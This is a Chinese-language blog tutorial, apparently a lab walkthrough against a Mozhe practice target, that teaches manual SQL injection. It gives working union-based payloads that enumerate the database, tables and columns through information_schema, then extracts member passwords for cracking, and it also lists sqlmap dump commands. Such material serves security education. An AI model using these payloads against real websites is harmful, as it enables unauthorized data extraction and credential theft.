SQL注入简介:
SQL注入就是指Web应用程序对用户输入数据的合理性没有进行判断,前端传入后端的参数是攻击者可控制的,并且根据参数带入数据库查询,攻击者可以通过构造不同的SQL语句来对数据库进行任意查询
我们可以用order by、union来注入
1、通过order by判断长度,order by 语句一般是对指定的列进行排序,默认按照升序对记录进行排序。
这里5个长度回显错误
回显正确
2、使用union select 语句来查找数据库、列名、字段名等等
在使用之前呢,我们需要测试注入点,使用 and 1=1,and 1=2 来判断
当输入and 1=1 时页面显示正常,and 1=2 时页面显示异常,那么就是数字型注入
通过and 1=2 union select 1,version(),database(),4,得到版本信息和数据库名
版本信息:5.7.22-0ubuntu0.16.04.1
数据库名:mozhe_Discuz_StormGroup
既然得到了数据库,我们再找数据库中的表:and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
表名:StormGroup_member
有了表就接着找字段名:and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
字段:id,name,password,status
有了字段,接着找数据:and 1=2 union select 1,group_concat(password),group_concat(name),4 from stormgroup_member
密码加密过,我们通过cmd5解密,就可以拿到密码了
sql注入完成!
当然了,这是手工注入的过程,我们还可以使用工具sqlmap,使用sqlmap的时候需要到python下运行,比较常用的语法:python sqlmap.py -u "url",具体的可以去看看sqlmap手册
1、python sqlmap.py -u "url" --dbs 爆出数据库名
2、爆出表名
3、爆出字段名
4、爆出数据
再拿去cmd5解密,拿到key
完成!
版权声明:本文为博主原创文章,转载请附上原文出处链接和本声明。